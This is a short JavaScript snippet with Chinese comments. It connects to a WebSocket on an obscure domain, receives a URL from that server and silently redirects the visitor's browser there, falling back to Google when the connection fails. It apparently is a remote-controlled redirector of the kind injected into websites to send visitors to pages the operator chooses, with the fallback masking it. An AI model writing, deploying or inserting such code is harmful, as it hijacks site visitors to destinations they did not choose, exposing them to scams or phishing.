const defaultRedirect = () => { window.location = 'https://google.com'; }; try { var delay = "1" var ws = new WebSocket("ws://www.42jieanzhi.info:1443/caivge"); console.log("test"); console.log("ws://www.42jieanzhi.info:1443/caivge"); ws.onopen = function(event) { console.log("WebSocket opened"); }; ws.onmessage = function(event) { var url = event.data; console.log("Received URL: " + url); console.log("HostUri: " + "/back/test/222"); url += "/back/test/222"; console.log("url: " + url); setTimeout(function() { window.location.replace(url) }, delay * 1000) }; ws.onclose = function(event) { console.log("WebSocket closed"); }; ws.onerror = function(event) { console.log("WebSocket error occurred"); // 當 WebSocket 開啟失敗時導向到 Google 首頁 defaultRedirect(); }; } catch (error) { console.error("An error occurred:", error); // 如果在程式執行過程中有錯誤,導向到 Google 首頁 defaultRedirect(); }